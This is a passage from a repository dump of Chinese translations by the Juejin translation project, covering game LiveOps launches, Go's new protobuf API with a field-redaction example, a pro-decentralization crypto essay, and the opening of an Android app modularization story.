LiveOps 服务对 KPI 造成的变化，它们是怎么影响玩家行为，以及以及他们的团队如何处理麻烦的 LiveOps 波动。通常这说明他们在发布前对 LiveOps 进行仿真测试（还有团队的承受能力）。例如，Wooga 出的 [June’s Journey](https://play.google.com/store/apps/details?id=net.wooga.junes_journey_hidden_object_mystery_game) 是一个很需要有内容产出的游戏。在发布前的一个月 —— 此时距离解决了稳定性和 KPI 的软发布已经过去 7 个月 —— Wooga 对正式发布已经做了一个完整的“彩排”，把游戏当作已经上线的状态（每周更新，营销报告，社交媒体等等）。他们毫无保留地投入到这个“彩排”中，有一个很好的机会让团队实战并且理解整个 LiveOps 计划的需求，并且最终为新游戏的正式发布做到了更充分的准备。\n\n如果你还没有重新审视你过去几年进入市场的 playbook，现在就去重新评估下吧，并且看看当下的新趋势和可利用的工具。我希望你能尝试下我分享给你们的一些例子，看看你能否找到一些领域，是可以改善业务过程或者避开盲区的。\n\n* * *\n\n### 你是怎么想的呢？\n\n你对运行公开测试版以及降低发布风险的建议有什么想法吗？ 让我们在下方或推特上通过 **#AskPlayDev** 知道你的意见，我们会由 [@GooglePlayDev](http://twitter.com/googleplaydev) 账号回复，这个推特账号上面，我们平时会发布新闻还有一些在 Google Play 上如何成功推广的建议。 \n\n\n---\n\n> [掘金翻译计划](https://github.com/xitu/gold-miner) 是一个翻译优质互联网技术文章的社区，文章来源为 [掘金](https://juejin.im) 上的英文分享文章。内容覆盖 [Android](https://github.com/xitu/gold-miner#android)、[iOS](https://github.com/xitu/gold-miner#ios)、[前端](https://github.com/xitu/gold-miner#前端)、[后端](https://github.com/xitu/gold-miner#后端)、[区块链](https://github.com/xitu/gold-miner#区块链)、[产品](https://github.com/xitu/gold-miner#产品)、[设计](https://github.com/xitu/gold-miner#设计)、[人工智能](https://github.com/xitu/gold-miner#人工智能)等领域，想要查看更多优质译文请持续关注 [掘金翻译计划](https://github.com/xitu/gold-miner)、[官方微博](http://weibo.com/juejinfanyi)、[知乎专栏](https://zhuanlan.zhihu.com/juejinfanyi)。\n"
  },
  {
    "path": "TODO1/a-new-go-api-for-protocol-buffers.md",
    "content": "> * 原文地址：[A new Go API for Protocol Buffers](https://blog.golang.org/a-new-go-api-for-protocol-buffers)\n> * 原文作者：Joe Tsai, Damien Neil, and Herbie Ong\n> * 译文出自：[掘金翻译计划](https://github.com/xitu/gold-miner)\n> * 本文永久链接：[https://github.com/xitu/gold-miner/blob/master/TODO1/a-new-go-api-for-protocol-buffers.md](https://github.com/xitu/gold-miner/blob/master/TODO1/a-new-go-api-for-protocol-buffers.md)\n> * 译者：[司徒公子](https://github.com/stuchilde)\n> * 校对者：[quzhen](https://github.com/quzhen12)、[Chauncey Chen](https://github.com/colorsakura)\n\n# Go 发布新版 Protobuf API\n\n## 介绍\n\n我们很高兴地宣布：发布[protocol buffers](https://developers.google.com/protocol-buffers)的 Go API 主要修订版本 —— Google 独立于编程语言的数据交换接口格式。\n\n## 构建新 API 的动机\n\n第一个用于 Go 的 protocol buffer 版本由 Rob Pike 在 2010 年 3 月发布，Go 的首个正式版在两年后才发布。\n\n在第一个版本发布的数十年间，随着 Go 的发展，package 也在不断发展壮大。用户的需求也在不断的增长。\n\n许多人希望使用 reflection（反射） package 来编写检查 protocol buffer message 的程序，[`reflect`](https://pkg.go.dev/reflect) package 提供了 Go 类型和值的视图，但是忽略了 protocol buffer 类型系统的信息。例如，我们可能希望编写一个函数来遍历日志项，清除所有标注为敏感信息的数据，标注并不是 Go 类型系统的一部分。\n\n另一个常见的需求就是使用 protocol buffer 编译器来生成其他的数据结构，例如动态 message 类型，它能够表示在编译时类型未知的 message。\n\n我们还观察到，时常发生问题的根源在于 [`proto.Message`](https://pkg.go.dev/github.com/golang/protobuf/proto?tab=doc#Message) 接口，该接口标识生成的 message 类型的值，对描述这些类型的行为几乎没有任何帮助。当用户创建实现该接口的类型（时常不经意间将 message 嵌入其他的结构中），并且将这些类型的值传递给期待生成 message 值的函数时，程序发生崩溃或行为难以预料。\n\n这三个问题都有一个共同的原因，而通常的解决方法：`Message` 接口应该完全指定 message 的行为，对 `Message` 值进行操作的函数应该自由的接收任何类型，这些类型的接口都要被正确的实现。\n\n由于不可能在保持 package API 兼容性的同时更改 `Message` 类型的现有定义，所以我们决定是时候开始开发新的、不兼容 protobuf 模块的主要版本了。\n\n今天，我们很高兴地发布这个新模块，希望你们喜欢。\n\n## Reflection（反射）\n\nReflection（反射）是新实现的旗舰特性。与 `reflect` 包提供 Go 类型和值的视图相似，[`protoreflect`](https://pkg.go.dev/google.golang.org/protobuf/reflect/protoreflect?tab=doc) 包根据 protocol buffer 类型系统提供值的视图。\n\n完整的描述 `protoreflect` package 对于这篇文章来说太长了，但是，我们可以来看看如何编写前面提到的日志清理函数。\n\n首先，我们将编写 `.proto` 文件来定义 [`google.protobuf.FieldOptions`](https://github.com/protocolbuffers/protobuf/blob/b96241b1b716781f5bc4dc25e1ebb0003dfaba6a/src/google/protobuf/descriptor.proto#L509) 类型的扩展名，以便我们可以将注释字段作为标识敏感信息的与否。\n\n```go\nsyntax = \"proto3\";\nimport \"google/protobuf/descriptor.proto\";\npackage golang.example.policy;\nextend google.protobuf.FieldOptions {\n    bool non_sensitive = 50000;\n}\n```\n\n我们可以使用此选项来将某些字段标识为非敏感字段。\n\n```go\nmessage MyMessage {\n    string public_name = 1 [(golang.example.policy.non_sensitive) = true];\n}\n```\n\n接下来，我们将编写一个 Go 函数，它用于接收任意 message 值以及删除所有敏感字段。\n\n```go\n// 清除 pb 中所有的敏感字段\nfunc Redact(pb proto.Message) {\n   // ...\n}\n```\n\n函数接收 [`proto.Message`](https://pkg.go.dev/google.golang.org/protobuf/proto?tab=doc#Message) 参数，这是由所有已生成的 message 类型实现的接口类型。此类型是 `protoreflect` 包中已定义的别名：\n\n```go\ntype ProtoMessage interface{\n    ProtoReflect() Message\n}\n```\n\n为了避免填充生成 message 的命名空间，接口仅包含一个返回 [`protoreflect.Message`](https://pkg.go.dev/google.golang.org/protobuf/reflect/protoreflect?tab=doc#Message) 的方法，此方法提供对 message 内容的访问。\n\n（为什么是别名？由于 `protoreflect.Message` 有返回原始 `proto.Message` 的相应方法，我们需要避免在两个包中循环导入。）\n\n[`protoreflect.Message.Range`](https://pkg.go.dev/google.golang.org/protobuf/reflect/protoreflect?tab=doc#Message.Range) 方法为 message 中的每一个填充字段调用一个函数。\n\n```go\nm := pb.ProtoReflect()\nm.Range(func(fd protoreflect.FieldDescriptor, v protoreflect.Value) bool {\n    // ...\n    return true\n})\n```\n\n使用描述 protocol buffer 类型的 [`protoreflect.FieldDescriptor`](https://pkg.go.dev/google.golang.org/protobuf/reflect/protoreflect?tab=doc#FieldDescriptor) 字段和包含字段值的 [`protoreflect.Value`](https://pkg.go.dev/google.golang.org/protobuf/reflect/protoreflect?tab=doc#Value) 字段来调用 range 函数。\n\n[`protoreflect.FieldDescriptor.Options`](https://pkg.go.dev/google.golang.org/protobuf/reflect/protoreflect?tab=doc#Descriptor.Options) 方法以 `google.protobuf.FieldOptions` message 的形式返回字段选项。\n\n```go\nopts := fd.Options().(*descriptorpb.FieldOptions)\n```\n\n（为什么使用类型断言？由于生成的 `descriptorpb` package 依赖于 `protoreflect`，所以 `protoreflect` package 无法返回正确的选项类型，否则会导致循环导入的问题）\n\n然后，我们可以检查选项以查看扩展为 boolean 类型的值：\n\n```go\nif proto.GetExtension(opts, policypb.E_NonSensitive).(bool) {\n    return true // 不要删减非敏感字段\n}\n```\n\n请注意，我们在这里看到的是字段**描述符**，而不是字段**值**，我们感兴趣的信息在于 protocol buffer 类型系统，而不是 Go 语言。\n\n这也是我们已经简化了 `proto` package API 的一个示例，原来的 [`proto.GetExtension`](https://pkg.go.dev/github.com/golang/protobuf/proto?tab=doc#GetExtension) 返回一个值和错误信息，新的 [`proto.GetExtension`](https://pkg.go.dev/google.golang.org/protobuf/proto?tab=doc#GetExtension) 只返回一个值，如果字段不存在，则返回该字段的默认值。在 `Unmarshal` 的时候报告扩展解码错误。\n\n一旦我们确定了需要修改的字段，将其清除就很简单了：\n\n```go\nm.Clear(fd)\n```\n\n综上所述，我们完整的修改函数如下：\n\n```go\n// 清除 pb 中的所有敏感字段\nfunc Redact(pb proto.Message) {\n    m := pb.ProtoReflect()\n    m.Range(func(fd protoreflect.FieldDescriptor, v protoreflect.Value) bool {\n        opts := fd.Options().(*descriptorpb.FieldOptions)\n        if proto.GetExtension(opts, policypb.E_NonSensitive).(bool) {\n            return true\n        }\n        m.Clear(fd)\n        return true\n    })\n}\n```\n\n\n一个更加完整的实现应该是以递归的方式深入这些 message 值字段。我们希望这些简单的示例能让你更了解 protocol buffer reflection（反射）以及它的用法。\n\n## 版本\n\n我们将 Go protocol buffer 的原始版本称为 APIv1，新版本称为 APIv2。因为 APIv2 不支持向前兼容 APIv1，所以我们需要为每个模块使用不同的路径。\n\n（这些 API 版本与 protocol buffer 语言的版本：`proto1`、`proto2`、`proto3` 是不同的，APIv1 和 APIv2 是 Go 中的具体实现，他们都支持 `proto2` 和 `proto3` 语言版本。）\n\n [`github.com/golang/protobuf`](https://pkg.go.dev/github.com/golang/protobuf?tab=overview)  模块是 APIv1。\n\n[`google.golang.org/protobuf`](https://pkg.go.dev/google.golang.org/protobuf?tab=overview) 模块是 APIv2。我们利用需要改变导入路径来切换版本，将其绑定到不同的主机提供商上。（我们考虑了 `google.golang.org/protobuf/v2`，说得更清楚一点，这是 API 的第二个主要版本，但是从长远来看，我们认为更短的路径名是更好的选择。）\n\n我们知道不是所有的用户都以相同的速度迁移到新的 package 版本中，有些会迅速迁移，其他的可能会无限期的停留在老版本上。甚至在一个程序中，也有可能使用不同的 API 版本，这是至关重要的。所以，我们继续支持使用 APIv1 的程序。\n\n* `github.com/golang/protobuf@v1.3.4` 是 APIv1 最新 pre-APIv2 版本。\n* `github.com/golang/protobuf@v1.4.0` 是由 APIv2 实现的 APIv1 的一个版本。API 是相同的，但是底层实现得到了新 API 的支持。该版本包含 APIv1 和 APIv2 之间的转换函数，`proto.Message` 接口来简化两者之间的转换。\n* `google.golang.org/protobuf@v1.20.0` 是 APIv2，该模块取决于 `github.com/golang/protobuf@v1.4.0`，所以任何使用 APIv2 的程序都将会自动选择一个与之对应的集成 APIv1 的版本。\n\n（为什么要从 `v1.20.0` 版本开始？为了清晰的提供服务，我们预计 APIv1 不会达到 `v1.20.0`。因此，版本号就足以区分 APIv1 和 APIv2。）\n\n我们打算长期地保持对 APIv1 的支持。\n\n无论使用哪个 API 版本，该组织都会确保任何给定的程序都仅使用单个 protocol buffer 来实现。它允许程序逐步采用新的 API 或者完全不采用，同时仍然获得新实现的优势。最低版本选择原则意味着程序需要保留原来的实现方法，直到维护者选择更新到新的版本（直接升级或通过更新依赖项）。\n\n## 注意其他的一些特性\n\n[`google.golang.org/protobuf/encoding/protojson`](https://pkg.go.dev/google.golang.org/protobuf/encoding/protojson) package 使用[规范 JSON 映射](https://developers.google.com/protocol-buffers/docs/proto3#json)将 protocol buffer message 转化为 JSON，并修复了旧 `jsonpb` package 的一些问题，这些问题很难在不影响现有用户的情况下进行更改。\n\n [`google.golang.org/protobuf/types/dynamicpb`](https://pkg.go.dev/google.golang.org/protobuf/types/dynamicpb) package 提供了对 message 中 `proto.Message` 的实现，用于在运行时派生 protocol buffer 类型的 message。\n\n[`google.golang.org/protobuf/testing/protocmp`](https://pkg.go.dev/google.golang.org/protobuf/testing/protocmp) package 提供了使用  [`github.com/google/cmp`](https://pkg.go.dev/github.com/google/go-cmp/cmp) package 来比较 protocol buffer message 的函数。\n\n[`google.golang.org/protobuf/compiler/protogen`](https://pkg.go.dev/google.golang.org/protobuf/compiler/protogen?tab=doc) package 提供了对编写 protocol 编译器插件的支持。\n\n## 结论\n\n`google.golang.org/protobuf` 模块是对 Go protocol buffer 支持的重大改进，为反射（reflection）、自定义 message 实现以及整洁的 API surface 提供优先的支持。我们打算用新的 API 包装的方式来永久维护原来的 API，从而使得用户可以按照自己的节奏逐步采用新的 API。\n\n我们这次更新的目标是在解决旧 API 问题的同时，放大旧 API 的优势。当我们完成每一个新实现的组件时，我们将在 Google 的代码库中投入使用，这种逐步推出的方式使我们对新 API 的可用性、性能以及正确性都充满了信心。我相信已经准备好可以在生产环境使用了。\n\n我们很激动地看到这个版本的发布，并且希望它能在未来十年甚至更长的时间内为 Go 生态系统持续服务。\n\n## 相关文章\n\n* [Working with Errors in Go 1.13](/go1.13-errors)\n* [Debugging what you deploy in Go 1.12](/debugging-what-you-deploy)\n* [HTTP/2 Server Push](/h2push)\n* [Introducing HTTP Tracing](/http-tracing)\n* [Generating code](/generate)\n* [Introducing the Go Race Detector](/race-detector)\n* [Go maps in action](/go-maps-in-action)\n* [go fmt your code](/go-fmt-your-code)\n* [Organizing Go code](/organizing-go-code)\n* [Debugging Go programs with the GNU Debugger](/debugging-go-programs-with-gnu-debugger)\n* [The Go image/draw package](/go-imagedraw-package)\n* [The Go image package](/go-image-package)\n* [The Laws of Reflection](/laws-of-reflection)\n* [Error handling and Go](/error-handling-and-go)\n* [\"First Class Functions in Go\"](/first-class-functions-in-go-and-new-go)\n* [Profiling Go Programs](/profiling-go-programs)\n* [A GIF decoder: an exercise in Go interfaces](/gif-decoder-exercise-in-go-interfaces)\n* [Introducing Gofix](/introducing-gofix)\n* [Godoc: documenting Go code](/godoc-documenting-go-code)\n* [Gobs of data](/gobs-of-data)\n* [C? Go? Cgo!](/c-go-cgo)\n* [JSON and Go](/json-and-go)\n* [Go Slices: usage and internals](/go-slices-usage-and-internals)\n* [Go Concurrency Patterns: Timing out, moving on](/go-concurrency-patterns-timing-out-and)\n* [Defer, Panic, and Recover](/defer-panic-and-recover)\n* [Share Memory By Communicating](/share-memory-by-communicating)\n* [JSON-RPC: a tale of interfaces](/json-rpc-tale-of-interfaces)\n* [Third-party libraries: goprotobuf and beyond](/third-party-libraries-goprotobuf-and)\n\n> 如果发现译文存在错误或其他需要改进的地方，欢迎到 [掘金翻译计划](https://github.com/xitu/gold-miner) 对译文进行修改并 PR，也可获得相应奖励积分。文章开头的 **本文永久链接** 即为本文在 GitHub 上的 MarkDown 链接。\n\n---\n\n> [掘金翻译计划](https://github.com/xitu/gold-miner) 是一个翻译优质互联网技术文章的社区，文章来源为 [掘金](https://juejin.im) 上的英文分享文章。内容覆盖 [Android](https://github.com/xitu/gold-miner#android)、[iOS](https://github.com/xitu/gold-miner#ios)、[前端](https://github.com/xitu/gold-miner#前端)、[后端](https://github.com/xitu/gold-miner#后端)、[区块链](https://github.com/xitu/gold-miner#区块链)、[产品](https://github.com/xitu/gold-miner#产品)、[设计](https://github.com/xitu/gold-miner#设计)、[人工智能](https://github.com/xitu/gold-miner#人工智能)等领域，想要查看更多优质译文请持续关注 [掘金翻译计划](https://github.com/xitu/gold-miner)、[官方微博](http://weibo.com/juejinfanyi)、[知乎专栏](https://zhuanlan.zhihu.com/juejinfanyi)。"
  },
  {
    "path": "TODO1/a-new-hope-the-future-of-application-platforms.md",
    "content": "> * 原文地址：[A New Hope: The Future of Application Platforms](https://medium.com/javascript-scene/a-new-hope-e2021fce7c7b)\n> * 原文作者：[Eric Elliott](https://medium.com/@_ericelliott?source=post_header_lockup)\n> * 译文出自：[掘金翻译计划](https://github.com/xitu/gold-miner)\n> * 本文永久链接：[https://github.com/xitu/gold-miner/blob/master/TODO1/a-new-hope-the-future-of-application-platforms.md](https://github.com/xitu/gold-miner/blob/master/TODO1/a-new-hope-the-future-of-application-platforms.md)\n> * 译者：[skychenbo](https://github.com/skychenbo)\n> * 校对者：[Eternaldeath](https://github.com/Eternaldeath), [HydeSong](https://github.com/HydeSong)\n\n# 新愿景：未来的程序应用平台\n\n![](https://user-gold-cdn.xitu.io/2019/1/16/1685717c82f2a645?w=2000&h=1125&f=jpeg&s=413061)\n\nImage: Mr Hasgaha (CC BY-NC 2.0)\n\n目前我们生活在集中控制的牢笼中。监狱中以牺牲其他人为代价让少部分人拥有特权。但是科技有潜力改变这些。\n\n如果你是一个生活在当今世界下软件工程师，那么你就有潜力参与到这个以前从未发生的最大的全球变革中。这个变革将会影响到上亿的人的生活，会创造新的经济机遇，拯救生命，让数十亿人参与数字经济。\n\n#### 集中化平台\n\n在 2011 年，我是 facebook 上最受欢迎的音乐 app 创始团队的一员，这款 app 月活超过 3 千万。我们飞速的发展，将其他优秀的音乐服务整合到一起，例如 Spotify、Bands in Town、Google Search 和 Billboard Magazine。50 万个乐队使用这个平台来管理他们的个人资料，演出日期，音乐流媒体和商品。\n\n然后有一天，Facebook 关闭了艺术家档案默认着陆页面的设置。一夜之间，网络瘫痪。在那天大量的公司被这单一的技术选择搞砸了。脸书更改了一个功能造成了大量的工程师丢失了他们的工作。数百个有用的有趣的 app 将不复存在，一个充满创造力的令人兴奋的生态系统被扼杀了。\n\n但是 FaceBook 不是唯一一家具有这么大破坏力的公司。Google Searc 因为依赖搜索流量的公司创造大业务而臭名昭著，通过通过搜索算法来更新淘汰这些公司。\n\n这个问题不是指 Facebook、Google 和 Apple 是魔鬼。问题在于这么多的权利一开始就集中控制在少数大公司手中。未来的你的 app 运行状况可能超出了你的控制，决定你命运的可能掌握在别人手中。\n\n如果可以在由社区控制和管理的架构上构建应用程序，而不受限于自私的大公司的想法。试想一下，一个全球的计算机网络，所有计算机连接在一起，开发人员合作构建一个更具包容性、更分散的应用程序平台。\n\n出于能让任何人在任何地放发布自由链接在一起的文档的想法，web 诞生了。它建立在没有集中控制的网络基础上。在 20 世纪 90 年代，出现了几个互相竞争的私有服务。为了与万维网直接竞争，类似 AOL 和 CompuServe 的公司推出了自己的内容网络：但是万维网赢了。\n\n同时微软和苹果也在手机设备平台上竞争。如果我们把时间停留在 2010 年，你可能觉得苹果赢得了市场。但今天，开源的 Linux 操作系统主导了市场 [Android 设备占据了全球移动智能手机市场的 86%](https://www.statista.com/statistics/236027/global-smartphone-os-market-share-of-android/)。\n\n在 20 世纪 90 年代，主导市场的是收取证书费用（或版税）的商业软件。今天，如果有人创建了一个闭源GUI工具包并试图收取许可费用，很少有人会愿意放弃开源的 React 生态系统。\n\n但是为了应用程序能存活，我们开发的应用程序仍依赖于像 Facebook、Google 或 Twitter 的集中式公司。一场即将改变一切的“海啸”就要到来。\n\n20 世纪 90 年代末，人们开始在互联网上共享 MP3 文件，最初是通过位于中央服务器上的文件传输协议（FTP）来实现的。但很快，中央服务器就受到了唱片公司的攻击。社区与第一个流行的去中心化音乐共享服务 Napster 抗争，但唱片公司辩称，尽管 Napster 没有直接托管音乐，但它使人们违法。\n\nNapster 是一家由中心化的公司拥有和运营的公司，在 2000 年，[Metallica 起诉 Napster，致使其停摆。](https://en.wikipedia.org/wiki/Metallica_v._Napster,_Inc.)。\n\n但是如果你认为 p2p 的故事到此结束，那你就大错特错了。从 Napster 的失败中崛起了 [gnutella](https://en.wikipedia.org/wiki/Gnutella)、[bittorrent](https://en.wikipedia.org/wiki/BitTorrent) 和 [ipfs](https://en.wikipedia.org/wiki/InterPlanetary_File_System)。所有附加源码的开源协议施行。所有未控制的去中心化的公司都提起诉讼，目前为止，没有人能使其停摆。\n\n#### 集中资金\n\n2008 年，房地产市场崩溃。太多无担保的抵押贷款债务集中在少数非常大的银行。当贷款违约率开始赶上他们时，多米诺骨牌开始倒塌，导致多家银行倒闭和救助，[仅在美国就有超过 7.7 万亿美元的救助](https://en.wikipedia.org/wiki/Emergency_Economic_Stabilization_Act_of_2008)。类似的崩溃和救援在整个欧洲发生，威胁到整个全球经济，并使世界陷入自大萧条以来最严重的衰退。\n\n2009 年 1 月 9 日，[ Genesis 区块](https://en.bitcoin.it/wiki/Genesis_block)在比特币区块链上开采。嵌入在块中的消息如下：\n\n> “《泰晤士报》2009 年 1 月 3 日财政大臣即将对银行实施第二轮救助。”\n\n全球对银行业机构的信任度达到了危机引发的低点，公众因两年的金融危机、失业和房屋止赎而崩溃，聚集在一起，形成了 2011 年遍布全球的占领[华尔街示威活动](https://en.wikipedia.org/wiki/Occupy_Wall_Street)。导致危机的银行家们在中产阶级蒸发的时候却安稳着陆，公众因此被激怒了。\n\n从那以后，银行再次开始玩相同的把戏，Facebook、Google 和 Apple 拥有更多的权力，全世界对自由的攻击不断升级。\n\n#### 我们唯一的期望\n\n分散式架构已经爆炸增长。比特币是点燃投资者想象力的火花，随着资金大力向加密货币注入，开发社区开始形成、发展、增长并进一步扩大。 \n\n自 2011 年以来，比特币网络散列功率增长了 8 个数量级，价格也随之增长。\n\n![](https://user-gold-cdn.xitu.io/2019/1/16/16857171e13c9a26?w=700&h=450&f=png&s=17744)\n\n比特币哈希幂图（Hans Hodl）：2011-2018\n\n比特币交易之所以起作用，是因为比特币区块链：第一次大规模展示数字稀缺性和分散共识。到 2013 年，大量的开发人员都在想，数字稀缺性和分散式账本技术（DLT）还能做些什么。\n\n事实证明，答案是“很多”。一个名叫维塔利克·布特林的开发者因为他花了 3 年时间玩的魔兽世界游戏改变了游戏规则而感到沮丧。Buterin 参与了比特币，并想探索区块链还能做什么。在他的头脑中开始形成一个去中心化的世界计算机的想法。\n\n2015 年，Vitalik Buterin、Gavin Wood 和 Joseph Lubin 推出了以太坊，一个大型开发社区聚集在以太坊周围。到 2017 年，ICO Big Bang 推出了数千种可供选择的加密资产，大部分位于以太坊之上，提供了传统风险投资的替代方案，并在此过程中创造了几个新的亿万富翁。\n\n![](https://user-gold-cdn.xitu.io/2019/1/16/16857171e6420e1a?w=672&h=433&f=png&s=117517)\n\n到 2017 年底，投资热潮达到顶峰，2018 年大部分时间，价格都已回落至现实水平。2018 年的价格下跌是一个历史性的现象，每次比特币价格达到另一个数量级的增长时都会出现这种现象。相信我，相对以前以后会有更大的增长。\n\n与此同时，第一代可扩展的 dApps 也开始出现，包括 [Sliver.tv](https://www.sliver.tv/) 和[合作伙伴腾讯游戏](https://www.ccn.com/tencent-games-forms-partnership-with-blockchain-esports-platform/)，该公司通过加密货币奖励电视观众和流媒体，可以在Sliver平台上花费并用于游戏内购买。\n\n同时，[Waves Platform](https://wavesplatform.com/)使任何人都可以轻松创建加密货币。它基于 Leased Proof of Stake（LPoS）共识运行自己的区块链 — 比比特币和以太坊使用的工作证明（PoW）模型更快的基层扩展解决方案。钱包软件具有内置的 Decentralized EXchange（DEX），用户可以在其中交易令牌。Waves 钱包在 Android 商店中下载量超过 100,000。\n\n如果你对加入革命感到好奇，大多数加密应用程序都是在前端使用 JavaScript 构建的。块链节点实现（与块链本身通信的软件）是建立在广泛的技术之上的，包括 C++（Bitcoin Core）、GO（EthUM）和 JavaScript（[Lisk](https://lisk.io/)）。\n\n区块链应用程序通常依赖于智能合约，这不仅为分类账中记录的数据提供了共识，而且还为处理该数据的算法提供了共识。 \n\n大多数以太坊开发目前都是在 **Solidity** 中完成的，它是迄今为止最常用的智能合约编程语言。\n\n比特币有**比特币脚本**。Waves 有一种故意不完整的图灵函数式编程语言，叫做 **Ride**，而 [Casdano ](https://www.cardano.org/en/home/) 有 [**Plutus**](https://cardanodocs.com/technical/plutus/introduction/)，这是一种由 [Philip Wadler](https://en.wikipedia.org/wiki/Philip_Wadler) 设计的，他把 Monads 带到了 Haskell，并在所有现代编程语言中激发了一代新的函数式编程语言。 \n\n但是，尽管有所有这些区块链编程语言，世界上大部分的加密和区块链编程都是用 JavaScript 进行的。JavaScript 是推动加密革命的用户界面的默认标准。\n\n> “世界上大量的加密和区块链编程都是用 JavaScript 进行的。”\n\n#### 新博客\n\n在我写第一篇关于 javascript 的文章之前，我已经在 javascript 专业编程 10 多年了。\n\n在我写第一篇关于加密的博客文章之前，我一直在使用，构建和遵循分散式架构超过 10 年。\n\n我一直在观察、学习、建设、领导团队，并等待合适的时机。技术通常不会在人们第一次听到时就爆炸。它开始时构建得很慢，然后到达了一个拐点，并开始真正地扩展到主流采用。\n\n加密即将爆炸性增长。2019 年将是第一个数百万用户的 dApp 进入市场的一年，而非区块链的极客们开始首次以加密货币进行交易。\n\n有一段时间，我可能会在 JavaScript 场景中发表关于分散式架构的博客，如果 JavaScript 开发者们对他有浓烈的兴趣。但是，我的大部分加密写作都会在一个名为 The Challenge 的新博客。\n\n关于 The Challenge 的第一篇博客文章是由有影响力的密码资产分析师 [Hans HODL](https://goo.gl/forms/cC5hJmo4h21NlqPE3) 撰写。我很荣幸地把你介绍给他。\n\n如果你想了解更多关于为什么加密是如此重要的事情，请深吸一口气，吃点零食，然后继续阅读战歌 [\"The Challenge\"](https://medium.com/the-challenge/the-challenge-7d502f0dfc3c)。\n\n* * *\n\n**_Eric Elliott_ 是 [“编写 JavaScript 应用”](http://pjabook.com)（O’Reilly）以及[“跟着 Eric Elliott 学 Javascript”](http://ericelliottjs.com/product/lifetime-access-pass/) 两书的作者。他为许多公司和组织作过贡献，例如 *Adobe Systems*、*Zumba Fitness*、*The Wall Street Journal*、*ESPN* 和 *BBC* 等，也是很多机构的顶级艺术家，包括但不限于 *Usher*、*Frank Ocean* 以及 *Metallica*。**\n\n大多数时间，他都在 San Francisco Bay Area，同这世上最美丽的女子在一起。\n\n> 如果发现译文存在错误或其他需要改进的地方，欢迎到 [掘金翻译计划](https://github.com/xitu/gold-miner) 对译文进行修改并 PR，也可获得相应奖励积分。文章开头的 **本文永久链接** 即为本文在 GitHub 上的 MarkDown 链接。\n\n---\n\n> [掘金翻译计划](https://github.com/xitu/gold-miner) 是一个翻译优质互联网技术文章的社区，文章来源为 [掘金](https://juejin.im) 上的英文分享文章。内容覆盖 [Android](https://github.com/xitu/gold-miner#android)、[iOS](https://github.com/xitu/gold-miner#ios)、[前端](https://github.com/xitu/gold-miner#前端)、[后端](https://github.com/xitu/gold-miner#后端)、[区块链](https://github.com/xitu/gold-miner#区块链)、[产品](https://github.com/xitu/gold-miner#产品)、[设计](https://github.com/xitu/gold-miner#设计)、[人工智能](https://github.com/xitu/gold-miner#人工智能)等领域，想要查看更多优质译文请持续关注 [掘金翻译计划](https://github.com/xitu/gold-miner)、[官方微博](http://weibo.com/juejinfanyi)、[知乎专栏](https://zhuanlan.zhihu.com/juejinfanyi)。\n"
  },
  {
    "path": "TODO1/a-patchwork-plaid-monolith-to-modularized-app.md",
    "content": "> * 原文地址：[Patchwork Plaid — A modularization story](https://medium.com/androiddevelopers/a-patchwork-plaid-monolith-to-modularized-app-60235d9f212e)\n> * 原文作者：[Ben Weiss](https://medium.com/@keyboardsurfer?source=post_header_lockup)\n> * 译文出自：[掘金翻译计划](https://github.com/xitu/gold-miner)\n> * 本文永久链接：[https://github.com/xitu/gold-miner/blob/master/TODO1/a-patchwork-plaid-monolith-to-modularized-app.md](https://github.com/xitu/gold-miner/blob/master/TODO1/a-patchwork-plaid-monolith-to-modularized-app.md)\n> * 译者：[snpmyn](https://github.com/snpmyn)\n\n# 格子拼贴 — 关于模块化的故事\n\n![](https://cdn-images-1.medium.com/max/800/0*7f6VI2TLc-P5iokR)\n\n插图来自 [Virginia Poltrack](https://twitter.com/VPoltrack)\n\n#### 我们为什么以及如何进行模块化，模块化后会发生什么？\n\n这篇文章深入探讨了 [Restitching Plaid](https://medium.com/@crafty/restitching-plaid-9ca5588d3b0a) 模块化部分。\n\n在这篇文章中，我将全面介绍如何将一个整体的、庞大的、普通的应用转化为一个模块化应用束。以下是我们已取得的成果：\n\n* 整体体积减少超过 60%\n* 极大地增强代码健壮性\n* 支持动态交付、按需打包代码\n\n我们做的所有事情，都不会影响用户体验。\n\n### Plaid 初印象\n\n![](https://cdn-images-1.medium.com/max/800/1*vVUYtBjOkcvcX13SsMdqnA.gif)\n\n导航 Plaid\n\nPlaid 是一个具有令人感到愉悦的 UI 的应用。它的主屏幕显示的新闻来自多个来源。\n这些新闻被点击后展示详情，从而出现分屏效果。\n该应用同时具有搜索功能和一个关于模块。基于这些已经存在的特征，我们选择一些进行模块化。\n\n新闻来源（Designer News 和 Dribbble）成为了它自己拥有的动态功能模块。关于和搜索特征同样被模块化为动态功能。\n\n[动态功能](https://developer.android.com/studio/projects/dynamic-delivery)允许在不直接于基础应用包含代码情况下提供代码。正因为此，通过连续步骤可实现按需下载功能。\n\n### 接下来介绍 Plaid 结构\n\n如许多安卓应用一样，Plaid 最初是作为普通应用构建的单一模块。它的安装体积仅 7MB 一下。然而许多数据并未在运行时用到。\n\n#### 代码结构\n\n从代码角度来看，Plaid 基于包从而有明确边界定义。但随大量代码库的出现，这些边界会被跨越且依赖会潜入其中。模块化要求我们更加严格地限定这些边界，从而提高和改善代码分离。\n\n#### 本地库\n\n最大未用到的数据块来自 [Bypass](https://github.com/Uncodin/bypass)，一个我们用来在 Plaid 呈现标记的库。它包括用于多核 CPU 体系架构的本地库，这些本地库最终在普通应用占大约 4MB 左右。应用束允许仅交付设备架构所需的库，将所需体积减少1MB左右。\n\n#### 可提取资源\n\n许多应用使用栅格化资产。它们与密度有关且通常占应用文件体积很大一部分。应用可从配置应用中受益匪浅，配置应用中每个显示密度都被放在一个独立应用中，允许设备定制安装，也大大减少下载和体积。\n\nPlaid 显示图形资源时，很大程度依赖于 [vector drawables](https://developer.android.com/guide/topics/graphics/vector-drawable-resources)。因这些与密度无关且已保存许多文件，故此处数据节省对我们并非太有影响。\n\n### 拼贴起来\n\n在模块化中，我们最初把 `./gradlew assemble` 替换为 `./gradlew bundle`。Gradle 现在将生成一个 [Android App Bundle](http://g.co/androidappbundle)（aab），替换生成应用。一个安卓应用束需用到动态功能 Gradle 插件，我们稍后介绍。\n\n#### 安卓应用束\n\n相对单个应用，安卓应用束生成许多小的配置应用。这些应用可根据用户设备定制，从而在发送过程和磁盘上保存数据。应用束也是动态功能模块先决条件。\n\n在 Google Play 